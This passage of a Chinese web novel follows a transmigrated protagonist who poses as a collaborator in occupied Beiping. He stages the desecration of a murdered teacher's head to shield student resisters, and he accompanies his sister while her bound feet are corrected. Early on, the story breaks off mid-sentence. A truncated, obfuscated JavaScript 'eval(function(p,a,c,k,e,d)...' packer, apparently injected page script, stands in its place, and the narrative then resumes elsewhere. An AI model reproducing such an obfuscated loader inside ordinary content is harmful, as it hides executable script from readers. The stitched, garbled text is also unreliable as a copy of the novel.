小乞丐还从来没见过这么精致的笔,他用袖子把自己的手擦了又擦,保手上面没有沾染了灰尘了,这才小心翼翼的将钢笔接了过去,“谢谢大爷,我保证送到。” 目送着小乞丐离开,沈听肆慢悠悠的踱步回了家。 守门的李老头看到沈听肆回来,凑到他跟前,小心的提醒了句,“大少爷,老爷回来了,他现在很生气,您当心着点。” 沈听肆点点头,“谢谢李伯了。” 李老头应了一声,“都在花厅等您呢。” 沈听肆还不走过去,还没有迈进花厅的大门,一个带着滚烫茶水的杯子,就被人大力扔了出来,重重的砸在沈听肆的脚边。 茶杯四分五裂的同时,茶水也洒了出来,沾湿了沈听肆的鞋面和裤子,趁着鞋子上面还留有几片黄绿色的茶叶。 沈听肆视线扫过花厅里面。 这具身体的身生父亲傅烆坐在主位上,正怒气冲冲的看着自己。 母亲张婉容坐在他旁边,一副很焦急的样子,想要开口说些什么,可又碍于丈夫的威严不敢开口,整个人显得有些唯唯诺诺的。 嫡亲的妹妹傅云禾此时正在花厅中央跪着,看样子似乎是哭过,虽然现在没有继续再哭了,可脸上却还挂着泪痕。 傅烆的几个姨太太也都分列两边坐着。 没有裹脚的妹妹傅箐慈站在她的亲生母亲三姨太身后,眼中含着几分讥俏之色。 而另外一个弟弟傅逸安,这是沈听肆第一次见。 他是四姨太所生,之前跟着傅烆去了外地做生意,今天刚回来。 所有人齐聚一堂,在沈听肆出现的一瞬间,齐刷刷的都扭过头来,将视线投向了他。 颇有股三堂会审的味道。 沈听肆挑了挑眉,直接大喇喇的走到那唯一的一张空着的椅子上坐下,“父亲这是怎么了?这么大火气,不如抓几副金银花和黄连来吃吃看,正好下下火气?” “傅青隐!”傅烆怒喝了一声,“你现在是越来越不服管教了,是不是?!” 沈听肆十分夸张的用双手堵住了耳朵,“父亲,我听得见没有龙,您用不着这么大声音。” “而且,”沈听肆嘴角噙着几分笑意,“我这才刚回来呢,您也没吩咐我做什么啊,我怎么就不服管教了?” 傅烆被噎的呼吸一窒,到了嘴边的话都有几分说不出口。 他十分烦躁的想要去喝口水,后才发现自己的茶杯被他刚才给摔碎了。 当着这么多人的面,他不好意思表现出来,只能用力的咳嗽了几声。 伺候的下人们自然是观察入微,看到傅烆表现急急忙忙的又去重新斟了一杯茶水。 连着喝了好几口,傅烆才终于感觉嗓子好了一些,知道自己说不过沈听肆,傅烆就将目光投向了张婉容,“你瞧瞧你养的好儿子,现在都知道和我顶嘴了,我出去几个月让你管家,你就是这么管的吗?!” 张婉容吓得一哆嗦,“我……我……” “行了,”沈听肆实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈听肆长眉微挑,“你有话要和我说,不来问我反而去问云禾,这是打定主意云禾拒绝不了你吗?” 原主傅青隐和傅逸安从小就不对付,两个人虽然年纪相仿,但傅青隐确是正房夫人所生,而傅逸安则是由姨太太生的。 两个人生活在一起,难免就会互相攀比。 傅逸安从小就知道他的出身比不上傅青隐,所以他拼尽全力,想要从其他的方面超过傅青隐,可傅青隐也无比聪慧,即便他竭尽所能,也始终只能望其项背。 他原以为这次跟着傅烆出去几个月,完成了一笔大生意,可以给傅家带来更多的收益,而傅青隐就待在家里面,还为东营人做事。 所以他这次一定有资本可以嘲笑一下傅青隐了。 可令他没想到的是,对方竟然通过和盛家退婚这件事情,拿到了此前一倍的利益。 这就使得傅逸安做的一切都好似变成了一场笑话。 他拼尽所能,竭尽全力,始终不如对方稍微动动手指头。 难道他这一辈子都比不上对方了吗? 傅逸安不信命。 “大哥要是觉得和我没有什么好谈的,也没关系,”傅逸安强行挤出一抹比哭还难看的笑来,“看大哥什么时候有时间,我随时恭候。” 沈听肆点点头,“那就再说吧。” 傅逸安看着沈听肆和傅云禾并肩而去的背影,只觉得傅云禾的存在是那样的刺眼。 他什么时候……才可以堂堂正正的和大哥并肩而立? 这一边,在送傅云禾回去的路上,沈听肆主动开口问了一声,“你是有什么话想和我说吗?” 傅云禾点点头,声音小小的,几乎都快要听不到,“我考虑清楚了,我想要正脚。” 她再也不想拖着这样的一双三寸金莲被人耻笑,也不想走到哪里都磨磨蹭蹭。 就像大哥之前所说的,现在是新社会了,每个人都应该是自由的。 她也想要尝试一下自由的味道,想要看看拥有一双正常的脚,可以肆意奔跑,究竟是什么样的感觉。 沈听肆笑着揉了揉傅云禾的脑袋,“这是好事啊,你能想明白,再好不过了。” 傅云禾手指紧紧地绞着手帕,有些怯怯,“但是我有点害怕,大哥你能不能陪我一起?” 她最近也去打听了一下正脚究竟是怎么一个情况,听说是要把折在脚底的脚趾头一根一根的给掰回来,其疼痛程度不亚于刚开始裹脚。 这个过程将会非常痛苦,而且还要持续相当长的一段时间。 傅云禾有些害怕,可如果是大哥陪着她的话,她就觉得自己能够有勇气去面对了。 沈听肆自然是不会拒绝,“好啊,到时候我陪你一起。” 傅云禾勾着唇轻轻笑了笑,喜悦之情跃然面上。 —— “沈先生?!”听到小乞丐说是一位姓沈的先生送过来的,乐倾川急急忙忙接过了钢笔。 他将钢笔拿到了三个人聚集的小房间里,目光有些凝重,“沈先生在这个时候冒险送这样一支钢笔过来,这里面一定有十分重要的情报。” 方槿的眼眶还是红的。 陪在他们身边三年多,始终像个大家长一样保护着他们的陈老师,就这样牺牲了。 东营人在用车拴着陈老师的尸体,满大街跑的时候,他们也看见了,即便他们心中疼痛万分,却也不敢去冒头,只能强行将所有的悲伤都咽进肚里去。 陈老师的牺牲是为了换取他们的平安,他们不能让陈老师在九泉之下,还要替他们担心。 可她还是很想哭。 二十多岁的小姑娘,还未曾上过战场,头一次见识到如此惨烈的情景,一时之间情绪都有些调整不过来。 温承松心里也不好受,他强忍着伤痛抬手拍了拍方槿肩膀,“现在不是伤心难过的时候,沈先生一定有很重要的情报给我们。” 这边乐倾川像那支钢笔大卸八块,从他的笔芯里面找到了一只卷在一起的纸,“你们看。” 方槿一般抹掉眼角的泪痕,急忙凑了上去,“写了些什么?” 乐倾川把那张纸给展开,纸条很小,上面的字也写的宛若蝇头一样,三个人盯着仔细看了一会,才看清楚了上面所写。 方槿下意识的念了出来,“明日北平大学有一件极其轰动的事情发生,事关于陈老师的尸体,到时候请你们务必保持镇定,千万不能暴露自己。” 温承松只觉得一颗心难受的紧,“这些人想要做什么?他们是要用陈老师的尸体做什么事吗?” 乐倾川抿着嘴巴,用残存着的理智开口道,“沈先生不惜冒险给我们送信,也要告诉我们这件事情,那就说明明日的情况将会远超我们的想象,到时候我们千万不能冲动。” 温承松和方槿深以为然的点点头,“是。” 可即便这个时候他们已然商量好,甚至做足了充足的心理准备。 但在第二天,当所有的师生都被聚集到校门口的时候,他们还是有些控制不住心中想要嗜血的欲望。 只见陈尽忠的头颅被人用刀砍了下来,头发上面吊着一根粗壮的麻绳,就这样被大喇喇的挂在了北平大学的校门上。 而沈听肆,就站在那颗头颅旁边,眉眼含笑。 12. 第 12 章 因为东瀛人在拖行陈尽忠的尸体的时候,是俯身趴着脸朝下的。 车子行走的速度很快,再加上路面上全部都是粗糙不平的砂砾,陈尽忠脸上的皮肉近乎全部都被撕扯了去。 除了那双紧紧闭着的眼眸以外,整张脸上再也找不到一丝好的血肉,甚至可以看到里面森白的骨头。 为数不多的面皮上面是数不尽的划痕,鲜血沁了出来又干涸,和者地上的泥沙一起,深深浅浅,一道道干裂的痕迹看起来狰狞又恐怖。 而最让人感觉到不忍直视的,还不单单是如此。 陈尽忠剪了辫子,留着一头短发,虽然年过四十,却未曾谢顶。 东瀛人用粗壮的麻绳将他的头发在头顶系在了一起,随后将整个头颅吊起。 凌乱的发丝和早已经干涸的血液混合在一起,粘腻,发臭,乱糟糟的。 浓厚的血腥味道,即使相隔很远都可以闻得一清二楚。 惨烈的几乎没有了人形,单单看向那吊在校门口的“物件”,没有任何一个人会以为这是一个人的脑袋。 平川大佐让东瀛士兵们在校门口架了个高台,沈听肆此时就站在那个高台上,伸手就可以触碰到陈尽忠的头颅。 方槿颤抖着双手,指甲不断的掐进自己的掌心,因为太过于用力,直接划破了皮肤,渗出了血来。 可手上的疼痛却远不及心里的万分之一。 一滴滚烫的泪水从她的脸颊上面滑落,滚落在衣衫上面,留下一个圆形的深色的印痕。 “陈老师……是陈老师……” “我的天呐,这是发生什么事了?” “把我们都叫过来,就是为了看这么血腥的场面吗?” “有没有人能够告诉我一下,这究竟是个什么情况?” “妈耶,好吓人,我感觉我晚上回去都要做噩梦,这究竟是谁呀?我看着怎么有点眼熟呢?” 刺骨的痛意,顺着心脏不断的蔓延到四肢百骸,那种颤栗的感觉爬满了头皮,耳边充斥着此起彼伏的其他学生们的叫喊声,可方槿却感觉自己什么也听不见,什么也看不见了。 她的视线里面,只有那颗高高被悬挂着的脑袋。 浓重的腥臭的味道弥散在她的鼻尖,让她控制不住的想要作呕。 她知道陈老师为了保护他们牺牲了,也知道那些东瀛人绝对不会将陈老师的尸体好好的埋葬掉。 她甚至都想好了,要趁着那些东瀛人将陈老师的尸体扔出来的时候,去偷偷的给陈老师收尸,葬在附近那座可以俯瞰整个北平城的山上。 这样等到他们胜利的时候,所有的东瀛人都被赶出北平的时候,陈老师也就能看到了。 可她无论如何也没有想到,这些人的手段竟然会这样的残忍! 他们竟然就这样割下了陈老师的脑袋,甚至将其悬挂在学校的大门上,让所有的师生们一起来看。 “怎么能如此侮辱人……”方槿几乎是泣不成声,她眼眶通红,拼尽了全身的力气,才抑制住自己的双腿不往前迈去。 她闭上了双眼,双手合十,慌乱又不安的无声哀求,“不要……我求求你……” 不要再让陈老师继续遭罪了…… 乐倾川的胸膛剧烈地起伏着,整个人喘气如牛,看着那张面目全非的脸,他眼眶里的泪水瞬时全部涌了出来。 “傅青隐……”乐倾川从齿缝里挤出这个名字,看着沈听肆的双眸中含着滔天的怨恨,“陈老师也算是他的师长,他怎么能帮着东瀛人做出这种事?” 如果是东瀛人侮辱陈老师的尸体,他们也就认了,可偏偏这个人是夏国人,而且还是和陈老师同生共死过的,他们曾经最敬重的另外一位老师,傅青隐! 他真的恨不得现在就立马掏出枪来,一发子弹解决了这个叛徒! “看来昨日沈先生寄信过来说的事情就是这件事,”温承松心中也气愤的要命,但还依稀保留着些许的理智,“沈先生让我们不要轻举妄动,我们听话就行。” “东瀛人将陈老师的头颅挂在这里,就是想要激我们出来,如果我们真的耐不住性子有所行动,那就是完全如了他们的意了。” 温承松感觉自己的心口生疼,好似有一把尖刀扎在了上面,又将其绞的支离破碎。 可陈老师已经牺牲了,如果他们这个时候冒头,陈老师所做的一切就全部都是白费。 “有意思……”沈听肆呢喃了一声,目光扫视着高台下方的人群,一眼就看见了主角团里的成员。 那一双双充斥着滔天怒火的眼眸,不正是他所期待的场景吗? 现在的主角团成员们尚且心智都不太成熟,还未曾真正的见识到战争的残酷,心中对于他们终将会取得反抗的胜利,还怀着一丝天真的幻想。 而陈尽忠的死,则是给他们心中落下了浓墨重彩的一笔。 他的死亡,让主角团们迅速的成长了起来,做事开始思索前因后果,甚至每做出任何一个决定的时候,都要往后想至少三步,就是为了避免再次重复陈尽忠这样的牺牲。 可是,这番成长的代价实在是太过于惨烈了一些。 沈听肆没有听从他们的计划,前往了火车站,原本是想要想办法将陈尽忠给救下来的。 可奈何那个时候温承松又陷入到了危险当中,无奈之下,沈听肆只能选择先救下温承松。 陈尽忠的死就变成了一种必然。 即便此时心怀不忍,可为了能够更加安全地潜伏在平川大佐的身边,沈听肆只能选择这一个极度引人不适的办法来。 沈听肆嘴角勾起一抹好看的弧度,看着下方哄闹的人群,将喇叭举到唇边说道,“各位老师,同学们,你们好,想必大伙也都是认识我的,那我就不需要多做自我介绍了。” “呸!卖国贼!你还有脸到这里来?!”沈听肆话音落下的瞬间,人群当中就爆发了一声激烈的叫喊。 “像你这种汉奸走狗,就应该被拖出去枪毙,你还要做自我介绍,你简直不要脸!” “傅青隐!你害了那么多的人,你午夜梦回的时候,难道就不会做噩梦吗?!” …… 深深的斥责,呵斥声不绝于耳,很快就将沈听肆的话给彻底的淹没了。 沈听肆慢条斯理的掏出手枪,对着半空中开了一枪。 “砰——” 一声巨响,成功的让喧闹的人群安静了下来。 沈听肆再次举起喇叭,但左手拿着的枪却并没有放下,他的唇边挂着一抹清浅的笑,可那笑容中却饱含着浓烈的警告之意,“我手里的枪可是不长眼睛的,若是万一擦枪走火,伤到了哪位同学,那可就不好了。” 说着话,他微微歪了歪脑袋,似是有些俏皮,“所以现在,你们可以认真听我说话了吗?” 面对枪械的威胁,一群人自然不敢再继续大喊大叫,却还是耐不住相识的同学们聚在一起说着小话。 温承松眼眶愈发的泛酸,“我总觉得他没有什么好话,怎么办?” 明明是这个人带他走上反抗的道路,也是这个人教会了他什么是责任,什么是家国。 那怎么到头来,就变成这个样子了呢? 难道对方曾经所说的一切全部都是假的吗? 他真的很想直接冲到台面上,却双手抓着对方的肩膀好好的问一问。 他想要剖开对方的心,看看那颗心究竟是不是铁石做的。 方槿身体发软,整个人几乎都贴在了温承松的身上才导致她没有摔倒,她微垂着眼眸,小声的回了一句,“先看看他要说些什么吧。” 沈听肆很满意这些学生们受到惊吓而不敢再大声斥责的表现。 他抬手指向那个被悬挂在校门口的脑袋,缓缓开口道,“想必有的同学们已经认出来了,这就是你们大学的校长,陈尽忠。” “至于他为何会变成这个样子,想必你们当中有些人应该会比我还要清楚。” 人群又开始小声的议论起来,但沈听肆却并不在意,他依旧举着喇叭,絮絮叨叨地说着,“昨日,有一些不怀好意的反抗党们,在火车站刺杀了东瀛的军事大将渡边信长先生,而这当中的领头人物就是你们的校长陈尽忠!” “东瀛人来到我们这里,给我们带来了先进的思想,高超的技术,他们不嫌弃我们的低俗落后,想要带领我们共同发展,建立大东亚共荣圈。” 沈听肆此时全然一副站在东瀛人的角度考虑,一席话说得格外的冠冕堂皇,“可是你们当中的有些人,却偏偏要破坏掉这种和平!” “这是我们非常唾弃的事情!” “所以……”沈听肆目光扫视了一圈,最后随意地落在了人群的最远处,“希望昨日和陈尽忠一起参加了刺杀行动的同学们,能够勇敢地站出来。” “当然,我们并不会对你们做些什么,是想要给你们上一堂思想教育课,让你们真正意识到自己的错误之处在哪,仅此而已。” 说明了缘由,沈听肆举着喇叭问道,“有哪位同学要站出来吗?” “如果没有的话……”他忽然拖长了尾音,嘴角露出一抹不怀好意的笑来,“那就休怪我手下无情了。” 说完这话,他将手里的喇叭放下,转头看向高台旁边的一名东瀛士兵,浅深说了句,“麻烦了。” 那名东瀛士兵脚边放着一个遮盖的严严实实的桶子,即便如此,却依旧有丝丝缕缕的臭味飘散出来。 那名东瀛士兵包括他脚边的桶,被几乎所有人所厌恶,他的四周一大片区域都几乎没有人。 他用纸塞住了鼻子,十分嫌弃着看着那个小桶,听到沈听肆冲他招手后,脸上兴奋的表情都快要抑制不住了。 他连忙将那个桶提过来放在沈听肆脚连,然后就迫不及待的跑了下去,好像身后有什么恶狼在追逐一般。 高台下方的学生们,看着那个桶有些不明就里,完全不知道沈听肆要做些什么。 【宿主,】在那名士兵将那个小桶提上来的一瞬间,9999就已经屏蔽了沈听肆的嗅觉,此时沈听肆已然闻不到任何奇怪的味道,9999得意的炫耀,【怎么样,我是不是非常棒?】 沈听肆在心中轻笑了一声,【确实做的不错。】 毕竟这个桶里面,可是装了满满一桶的粪便。 沈听肆戴上了一双手套,然后当着所有学生的面将桶盖子打开了来。 刹那间,恶臭的味道扑面而来,让站在前排的一群学生们不由自主的干呕。 “这是什么东西,怎么这么臭?跟屎一样!” “妈呀,太恶心了,你能不能让让我要往后走一点。” 在吵吵嚷嚷的声音中,沈听肆肯定了他们的猜测,“你们想的没错,这就是一桶粪便。” “还没有人愿意站出来承认昨日参与了刺杀的话,”沈听肆调中含着一抹警告之色,“那么……就不要怪我将这桶粪便浇在你们最敬爱的陈老师的脑袋上了!” 那一瞬间,一群人目眦尽裂。 “陈老师!!!” 方槿张了张嘴,眼中泪意翻涌,浑身不停的发抖,情绪崩溃到了极点,“你怎么敢的?你怎么敢?!!!” 那样爱干净,那样体面的陈老师,怎么能在死后遭受如此的待遇?! 心脏惊悚到几乎骤停,温承松用尽全部的力气向着那颗倒挂在学校大门上的头颅冲去。 可学生们全部挤在一起,实在是太多了,他的前路尽数被挡住,即便他拼尽全力也好,是永远都走不过去。 到校门口短短几十米的距离,却仿佛有一辈子那么长, “傅青隐!!!你个刽子手!你 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“既然没有人承认,”沈听肆将喇叭举到唇边,后退了两步,对着陈尽忠的脑袋鞠了一个躬,“那么陈老师,对不住了。” 说着这话,沈听肆将那个粪桶提了起来,做势就要泼过去。 平川大佐的眼眸里面闪烁起了亮光,一抹跃跃欲试的冲动浮现在了他的眼前,他走上前,伸手接过了沈听肆手里的粪桶,“不如让我来吧。” 他已经看到了沈听肆的诚意,但相对比于由沈听肆动手,他更希望对学生们的震慑是来自于他们东瀛。 众目睽睽之下,平川大佐戴着手套,抓着粪桶,从上到下将里面的粪便浇了下去。 温承松眼睁睁看着这一切,整个人如遭重击,脸上血色尽失。 他感觉自己的心口仿佛破了个大洞似的,冷风呼呼的灌进去,带来一抹极致的痛苦。 他从未如此的无力过。 这种什么都做不到,只能任由那些人侮辱陈老师尸体的无能为力,太过于难受。 整个高台上面一片狼藉,沈听肆远离了一些,“这就是你们反抗的代价!请诸位都看好了,以后可切莫再做这种破坏大东亚繁荣的事来!” 都还是一群未曾真正见识到战争的残酷的学生们,今日发生的一切实在是有些太过于震撼,着实是吓到了相当一部分的学生,一些尚未参加反抗军的人,心中已经打起了退堂鼓来。 如果参与反抗,最终就是会落得这样的境地的话,他们宁愿苟且偷生。 只要不和东瀛人合作,不叛国,似乎……就已经足够了吧? 一场闹剧过后,沈听肆和其他的东瀛人们坐着汽车大摇大摆的离开了。 徒留一大片的脏污,在北平大学的校门口。 绑着陈尽忠头发的绳子松了一些,一阵清风吹过,他的脑袋骤然间掉落,砸在那一片狼藉里,随后又咕噜咕噜的滚了下来。 一颗遍布是脏污,不堪,丑陋的脑袋,就那样孤零零的,滚落到地上。 没有人理会,也没有人敢理会。 夏国人自古以来的思想都是死者为大,要入土为安。 可此刻那么多的学生老师们,却全部都当做那一颗脑袋不存在一般,匆匆的离开而去了。 一整个下午,直到夕阳落山,月亮爬上山头,北平大学的校门口一片黑暗。 那颗脑袋依旧留存在原地。 孤独,冷清,就连周围的空气都是一片死寂。 但到了夜半时分,几乎所有人都已经陷入了深度睡眠,就连路边站岗的士兵们都在打着盹的时候。 几个鬼鬼祟祟的人影出现在了北平大学的校门口。 乐倾川单手扶着墙角,生出半个脑袋四下瞅了瞅,确认周围没有什么人后,连忙向身后的人招手,“现在没有人,我们动作快一点,将陈老师的头颅拿回去,好生安葬。” 温承松应了一声,“好,我们小心一点,随时注意周围的情况,千万不能被东瀛人发现。” 但似乎今日的幸运女神格外的优待他们,直到他们越过空旷的校门口,来到那颗头颅的面前,也始终未曾发现有其他的人。 头颅上面的粪便经过一下午的暴晒,已经干透了,可那种令人作呕的恶臭味道却并未曾消散。 但几个人没有丝毫的嫌弃,甚至在闻到那个味道以后,连眉头都没有皱一下,直接毫不犹豫的冲上前去,脱下自己的衣服将其包裹起来,随后紧紧地抱在了怀中,就仿佛那是什么稀世珍宝一样。 他们走后不久,隐藏的黑暗里,缓缓浮现了沈听肆身影。 那些东瀛人竟然如此大费周章的在白天搞了这么一出,晚上又怎么可能不派人看着头颅,来抓冒险想要将头颅带回去的人呢? 不过是沈听肆在主角团的人行动之前,冒险将看守的东营士兵引开了而已。 【宿主,】9999有些不理解,【之前你每做任何一件事情,都会用沈先生的这个身份让主角团得知,怎么这次就悄无声息的做了呢?】 “沈先生”为主角团付出的越多,做的越多,当这个身份死遁的时候,才会更加的刺激主角团心中的怒火。 这不是沈听肆一向的手段吗? 可为何这次却只愿意当一个背地里的好人呢? 沈听肆转身,一步一步的踱进黑暗里,清冷的月光消失在他身后,只留下一句浅浅的叹息,“陈老师,我已不配算计。” 那样一个不惜牺牲自己,也要护得学生们安全的人,那样一个将家国大义刻进骨子里的人,那样一个面对侵略者毫不畏死的人。 沈听肆用他的头颅刺激这些学生是万不得已。 可若要让他再用陈尽忠谨慎的体面来换取自己的利益,他何德何能? 此间千言,只落得一个不配罢了。 13. 第 13 章 夜晚的北平城,好似被划分成了两个完全不同的天地。 东边的各国租界区里灯火通明,甚至还时不时的有阵阵小汽车的喇叭声响起,穿着西装洋裙的男男女女们初入酒楼餐馆,打扮华丽,穿着戏服的伶人们在台上咿咿呀呀的唱着戏。 好似一派盛世安泰。 可与之所对应的西边,则仿佛是陷入到了无尽的黑暗当中,时不时的有几盏昏黄的油灯亮起,可却也很快就被熄灭。 不过是一群挣扎在温饱线上的人罢了,又哪里有时间去逛那十里洋场呢? 夜晚到来,似乎只有安睡,是他们唯一能做的事情了。 温承松三人带着那颗头颅,一路上奔跑出城,慢慢爬上了附近的那座山脉。 走到半山腰的时候,温承松下意识的回头望了一眼,随后就看到了这泾渭分明的两个城区。 一面天堂,一面地狱,仿佛也不过如是了。 方槿注意到了他的停顿,后退了两步问道,“怎么了吗?” 还没到地方呢,为何停下不走了? 温承松伸手指了指山下方的北平,沙哑的嗓音中夹着无尽的落寞之色,“你瞧瞧,可看出了什么?” 方槿也还是头一次用这种视角来观看北平,她未曾想到夜晚的北平静会是这个样子。 时局动荡,国家不安,无数的人民生活在水深火热当中,前线的战士们时时刻刻都在牺牲,可却始终有这么一群人,无论是身处盛世还是乱世,都始终可以偏安一隅,依旧过着潇洒自在的日子。 方槿不知道该如何去形容这种苦涩又有些发闷的感受,隐约中只听见一声轻细的呢喃,夹杂在夜晚的寒风当中,显得越发的虚弱了起来。 “好像是两幅天地啊……” 温承松忽然伸手握紧了她的手臂,眼中带着一往无前的坚定,一字一顿地开口道,“终有一天,我们会将所有的侵略者都赶出去,左边那一片城区,也终会灯火通明,彻夜热闹。” 乐倾川往前走了一段路,才发现两个人停在了原地,不由得有些无奈的又折返回来,然后就听到了他们的对话,瞬间他整个人都变得有些沉默了起来。 这话听起来可真美好啊,但是他们真的能实现吗? 乐倾川以前是始终坚定着的,总觉得邪恶压不过正义,只要他们努力拼搏,联合一心,永不妥协,就终会有胜利的一天。 可现在一个赤/裸/裸的事实摆在了他的面前。 他们真的太渺小,他们也真的太落后。 他们的反抗……似乎显得有些太过于微不足道,就宛如是在隔靴搔痒。 乐倾川的眼中含着悲伤,沉寂的仿佛是那化不开的夜色,“可是……我们真的能够等到那么一天吗?” 温承松一颗心咯噔了一声,猛然间回眸看向他,随即便被对方眼里的迟疑之色给惊到。 “你……” 可他一时之间却不知道该说些什么,嘴唇蠕动了半晌,也终究只发出了一个微不足道的音节来。 因为亲眼目睹了陈尽忠被惨烈分尸现场的他们,比谁都清楚,这条道路究竟有多么的艰难。 两个人之间的氛围诡异又悲伤,沉重的似乎都快要拿不起来。 方槿眨了眨眼睛,带着些许不解的问道,“你们俩这是做什么呢?两个人站在这里对视,当门神吗?” 她十分不满的撇了撇嘴,“还什么等不到那一天,不知道你们在那说什么鬼话,每个人还都会死呢,到最终都会化成一抔黄土,不然你俩现在直接从山上跳下去得了,一了百了,也免得再继续去想那些有的没的东西。” 方槿似乎是气急了,见她说了这一番话,两个人依旧无动于衷,直接一只手拽过一人的胳膊,做势就要把人往山下推去。 “为了避免以后我再听到你们说这些倒人胃口的话,我现在直接把你们俩解决了算了!” 可奈何她一个人的力量实在是有限,努力了半天,除了把自己累的气喘吁吁以外,温承松和乐倾川的脚步甚至都几乎未曾挪动一下。 “该死的!”方槿皱着眉头,狠狠地唾骂了一声,“你们两个人真的是不如死了算了!” “噗嗤……”乐倾川被方槿一顿揶揄,却突然忍不住笑出了声来,“好了,好了,我知道了,刚才是我一时之间想岔了。” 陈尽忠的死亡现场给他们带来了严重的打击,让乐倾川不由自主的有些丧气,可他终究也只是就那样感叹两句罢了,并不是真的要放弃这条道路。 情绪发泄完毕,他们还是要继续朝前走的。 “笑屁笑?!”方槿松开了他的胳膊,狠狠冲着他的脚腕踹了一脚,“有那时间说废话,还不如早点儿去把陈老师给安葬了!” “是是是,我的方大小姐,”乐倾川举起双手表示投降,“我错了,还不行吗?” 方槿瞪了他一眼,气鼓鼓的扭头往前冲去,乐倾川一边笑着,一边抬步跟上。 如此一番插科打诨,几人之间那种浓烈的悲伤情绪也消散了许多。 并不是因此他们就不再记挂着陈老师的仇恨,而是他们所走的这条路艰险异常,不能时刻用悲伤的情绪左右掉自己的思想。 看着前面两个人的步伐变得轻快了许多,温承松也缓缓松了一口气,他刚才其实也是想要安慰一下乐倾川的,他实在是有些嘴笨,不知道该如何开口。 但幸好,还有方槿。 三个人七拐八拐的往前走,最终在离山顶还有三分之一距离的地方停留了下来。 他们也想要将陈老师葬在山顶,让他能够更好的俯瞰整个北平,可那样的话,就实在是太过于显眼了一些。 等三人到的时候,周崇已经带着人挖好了一个不大不小的坑。 他们也都是北平大学的学生,也在白日的时候目睹了那样惨烈的一幕,知道现在他们偷回来的只有陈老师的一颗头颅而已,就连让他有个全尸都没有办法做到,一群人不由得又有些悲伤了起来。 温承松将揣在怀里的那颗头颅取出,小心翼翼的接过周崇寄过来的打湿的帕子,一点一点的擦拭着上面的脏污。 污秽的东西有着浓厚的臭味,可没有任何一个人面露嫌弃之色来,他们只是悲伤,悲伤与自己的弱小,悲伤与自己的无能为力。 头颅上面的脏东西被擦干净了,可那些破损了的皮肉却没有办法再回来,方槿忍不住又偷偷落了泪。 她只能庆幸,庆幸陈老师被拖行的时候早已经死去,否则的话,他该受到何等的折磨和痛苦啊! 温承松将擦干净的头颅放进了周崇准备好的盒子里。 盒子里面垫了棉布,头颅放进去的时候没有发出任何的碰撞。 那双眼睛紧闭着,虽然整张脸血肉模糊,却好似露出了一抹淡淡的安详。 温承松将盒子放进了他们提前挖好的坑里,然后和其他人合力,一铁锨一铁锨的从旁边铲着泥土,慢慢的将其掩埋了起来。 他们不敢做坟包,也不敢立碑,只在旁边栽了一棵小小的树,树上划了个记号,以此来防止他们忘记地方。 这里虽然不是山顶,但附近也没有特别茂密的树木遮挡,陈老师还是能够看到北平。 处理好一切,一群人围着那个一点都不显眼的坟包站了一圈,举起右手,敬了一个标准的军礼。 他们都是组织里的地下工作者,并未参与过前线的战争,但他们在加入组织的那一天都曾宣过誓,也学过最标准的敬礼姿势。 当日就是陈老师带着他们,拉着他们的手,一点一点的纠正,力求每个人都能尽一个最为标准的军礼。 如今他们都做到了。 陈老师,你看到了吗? 你的学生们,并没有辜负你。 “陈老师……一路走好。” “下辈子,我们还要做你的学生,再听你讲一次课,那时的我们,会坐在宽敞明亮的教室里,国家再无侵略者。” 到那时,万里山河复清明,耳畔阵阵读书声,陈老师,定会欢喜。 —— “啧。”在仔细的检查了一下傅云禾的双脚以后,老大夫忍不住发出了一声轻叹,随后,又好似无奈的摇了摇头。 傅云禾立马就急了,下意识的想要站起身来,却又被老大夫给摁回了座位上,“这是怎么了?是治不好吗?” 老大夫听了这话,皱了皱眉头,“你可以怀疑我的其他任何方面,但唯独就不能够怀疑我的医术不行。” 傅云禾也意识到自己这话对于一个医者而言,似乎是有些过了,连忙低下了头去,磕磕绊绊的开口道,“我……我也不是这个意思,是您刚才又是叹气,又是摇头的,所以我有些担心。” “哦,”老大夫后知后觉的应了一声,“我叹气,只不过是替你惋惜罢了,看你这双脚裹得这样好,而且比寻常找我来治脚的女子的脚还要小上半寸,你裹脚的年纪,应当很小吧?” 傅云禾点点头,“三岁就开始了。” “怪不得,”老大夫再次发出一声感慨,“寻常的女娃要到五六岁才开始裹脚,你这骨头都还没长好呢,就开始裹了。” “所以啊……你若是想要把脚正回来,可要吃好一番苦头喽。”老大夫絮絮叨叨的说着,语气中一副恐吓的意味,但目光一直向着傅云禾身上瞟,仔细的端详她的情绪。 傅云禾攥了攥拳头,牙关咬紧,最后坚定地将目光投向老大夫,“没关系的,我不怕痛。” 小时候脚上的骨头被硬生生掰断的痛苦,她都忍过来了,现在不过是将掰断的骨头再次重新掰直而已,没有什么无法忍受的。 而且只要能够拥有重新自由行走的能力,可以像别的女子那样肆意的追逐奔跑,再也不会被人盯着一双小脚指指点点,可以去做任何她想做的事情。 那么,再苦再痛,她都能忍得住。 “小女娃还挺坚强,”老大夫脸上浮现出一抹赞赏的神情来,然后从徒弟的手中接过一碗黑乎乎的中药递给傅云禾,“这药有止疼的效用,你先喝下去。” 傅云禾乖乖听话,即便那药的味道很刺鼻,她也捏着脖子直接一口给灌了下去。 “呦?”老大夫讶异了一声,毕竟来到他这里正脚的基本上都是大户人家的小姐,除了受过裹脚的罪以外,平日里也未曾吃过什么苦,有好几个女娃娃喝药的时候都是千不甘万不愿的,他还是头一次见喝药喝的如此这般利索的女娃。 “等一下我要将你脚上的骨头全部打断,然后固定起来,让它重新生长,”等傅云禾喝完药缓了一段时间,老大夫判断着该是药效起作用的时候,他那张始终带着笑意的脸,却突然正色了起来,“这个过程会很痛,即便刚才的那碗药可以缓解疼痛,但也依旧很难受。” 老大夫接连叮嘱了两遍,“你可千万要忍住,不能乱动。” 傅云禾闻言轻轻点了点头,然后侧身看向了一直坐在一旁,不发一言的沈听肆。 沈听肆回她一抹安抚的表情,“我一直在这里陪着你,不怕。” 傅云禾闭了闭眼,大喊一声,“来吧!我不怕!” 即便做足了心理准备,可当老大夫开始敲打着她脚上的骨头的时候,傅云禾还是忍不住痛呼出声。 实在是太疼了。 她的牙齿死死的咬着嘴唇,整个唇瓣被咬的血肉模糊,殷红的血色顺着嘴角流淌下来,让傅云禾整个人看起来宛若是一头刚刚啃食了猎物的凶兽。 泪水彻底的断了线,模糊了她的视野。 